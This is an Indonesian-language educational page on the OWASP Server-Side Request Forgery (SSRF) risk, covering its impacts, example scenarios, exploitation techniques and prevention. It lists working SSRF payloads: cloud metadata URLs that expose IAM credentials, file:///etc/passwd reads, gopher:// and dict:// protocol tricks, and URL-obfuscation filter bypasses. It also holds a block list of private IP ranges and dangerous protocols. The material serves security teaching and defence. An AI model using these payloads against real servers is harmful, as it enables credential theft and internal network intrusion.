A10 - Server-Side Request Forgery (SSRF)
Definisi
Server-Side Request Forgery (SSRF) adalah kerentanan di mana seorang attacker memanfaatkan server aplikasi untuk membuat request HTTP/URL ke resource internal atau eksternal yang seharusnya tidak dapat diakses. Server menjadi proxy yang tidak disengaja untuk menyerang sistem internal.
OWASP mendefinisikan risiko ini sebagai:
"Celah keamanan yang memungkinkan attacker memaksa server untuk membuat request ke lokasi yang tidak diinginkan, termasuk internal network, localhost, atau sistem cloud."
Dampak
| Dampak | Penjelasan |
|---|---|
| Akses internal network | Attacker bisa mengakses service internal seperti database, admin panel, atau API internal |
| Cloud metadata exposure | Akses ke metadata AWS/GCP/Azure (http://169.254.169.254) - bisa mencuri credential IAM role |
| Port scanning internal | Server digunakan untuk memindai port internal network |
| File read via file:// | Membaca file sensitif server (/etc/passwd, /proc/self/environ) |
| Remote code execution | Kombinasi SSRF dengan protokol berbahaya (gopher://, dict://) |
Contoh Skenario
Skenario 1: URL Fetch Feature
Aplikasi e-commerce memiliki fitur "Import product from URL":
POST /admin/import-product
Body: { "url": "https://example.com/product.json" }
Attacker mengganti URL menjadi:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Server mengembalikan credential AWS IAM role.
Skenario 2: Webhook Callback
Aplikasi memanggil URL callback setelah task selesai:
POST /api/create-task
Body: { "callback_url": "http://internal-admin:8080/shutdown" }
Attacker bisa mematikan service internal.
Skenario 3: Image Proxy
Fitur fetch gambar dari URL eksternal:
GET /fetch-image?url=https://example.com/photo.jpg
Attacker:
GET /fetch-image?url=file:///etc/passwd
Server mengembalikan isi file /etc/passwd dalam response.
Eksploitasi Umum
1. Cloud Metadata (Classic SSRF)
http://169.254.169.254/latest/meta-data/ # AWS
http://169.254.169.254/metadata/instance?api-version= # Azure
http://metadata.google.internal/computeMetadata/v1/ # GCP
2. Localhost & Internal IP
http://127.0.0.1:8080/admin
http://localhost:3306
http://192.168.1.1:443
http://0.0.0.0:22
3. Protocol Diversion
file:///etc/passwd
gopher://internal-service:8080/_...payload...
dict://internal-service:6379/config
4. Blind SSRF
Server melakukan request ke internal tapi response tidak dikembalikan. Deteksi via:
- Timing attack - request ke IP yang timeout vs cepat
- DNS callback - DNS query ke server attacker (Burp Collaborator, interactsh)
- Error message - perbedaan error ketika IP internal vs eksternal
5. Bypass Filter (URL Obfuscation)
http://2130706433/ → 127.0.0.1 (decimal IP)
http://0x7f000001/ → 127.0.0.1 (hex IP)
http://[::1]:8080/ → localhost IPv6
http://127.1/ → 127.0.0.1 (short)
http://localtest.me/ → DNS wildcard 127.0.0.1
http://spoofed.burpcollaborator.net → redirect ke 127.0.0.1
http://[email protected]:8080/ → parsing credential
Pencegahan
1. Whitelist Domain/URL
- ✅ Hanya izinkan domain yang sudah dikenal
- ✅ Gunakan daftar putih (allowlist), bukan daftar hitam (blocklist)
- ❌ Jangan percaya input user secara langsung
2. Block Private IP Ranges
Wajib block di level aplikasi atau firewall:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8
169.254.0.0/16
0.0.0.0/8
::1/128
3. Disable Dangerous Protocols
Batasi protokol yang bisa digunakan:
- ✅ Hanya izinkan
https:// - ❌ Block
file://,gopher://,dict://,ftp:// - ❌ Block redirect ke protokol berbeda
4. Network Segmentation
Pisahkan aplikasi web dari resource internal:
- Aplikasi di DMZ tidak boleh akses langsung ke database
- Gunakan firewall rules ketat
- Jangan deploy aplikasi di dalam VPC yang sama dengan service kritis
5. Gunakan Library Aman
Beberapa bahasa punya library untuk URL fetching yang aman:
- Python: Gunakan
allow_redirects=Falsedan validasi URL setelah redirect - Java: Gunakan
Socketlangsung dengan whitelist IP - Node.js: Gunakan
ssrf-req-filteratausafe-urlpackage
CWE Terkait
- CWE-918: Server-Side Request Forgery (SSRF) - kerentanan utama
Lab Terkait
| Lab | Fokus |
|---|---|
| Juice Shop | SSRF challenge - eksploitasi metadata endpoint dan akses internal |
| WebGoat | SSRF lesson - memahami dan mengeksploitasi SSRF |